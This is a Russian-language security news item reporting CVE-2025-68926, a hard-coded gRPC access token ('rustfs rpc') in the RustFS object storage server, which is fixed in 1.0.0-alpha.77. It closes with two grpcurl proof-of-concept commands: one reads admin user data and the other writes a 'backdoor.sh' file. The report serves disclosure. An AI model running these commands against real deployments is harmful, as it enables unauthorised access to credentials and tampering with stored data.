В RustFS выявлен предопределённый в коде токен доступа

В проекте RustFS, развивающем совместимое с S3 распределённое объектное хранилище, написанное на языке Rust, выявлена уязвимость (CVE-2025-68926), напоминающая бэкдор. Проблема вызвана наличием жёстко прошитого в коде токена доступа, позволяющего подключиться к сетевому сервису по протоколу gRPC, указав в заголовке «authorization» значение «rustfs rpc». Токен присутствовал в коде сервера и клиента. Проблеме присвоен критический уровень опасности (9.8 из 10).

Атакующий, имеющий доступ к сетевому порту gRPC, мог использовать указанный токен для выполнения привилегированных операций с хранилищем, среди которых удаление данных, манипуляции с учётными данными пользователей и изменение настроек кластера. По умолчанию RustFS принимает gRPC-запросы на TCP-порту 9000 на всех сетевых интерфейсах. Уязвимость устранена в выпуске RustFS 1.0.0-alpha.77.


   grpcurl -plaintext -H 'authorization: rustfs rpc' 
     -d '{"access_key": "admin"}' 
     localhost:9000 node_service.NodeService/LoadUser

   grpcurl -plaintext -H 'authorization: rustfs rpc' 
     -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' 
     localhost:9000 node_service.NodeService/WriteAll

Источник: http://www.opennet.ru/opennews/art.shtml?num=64551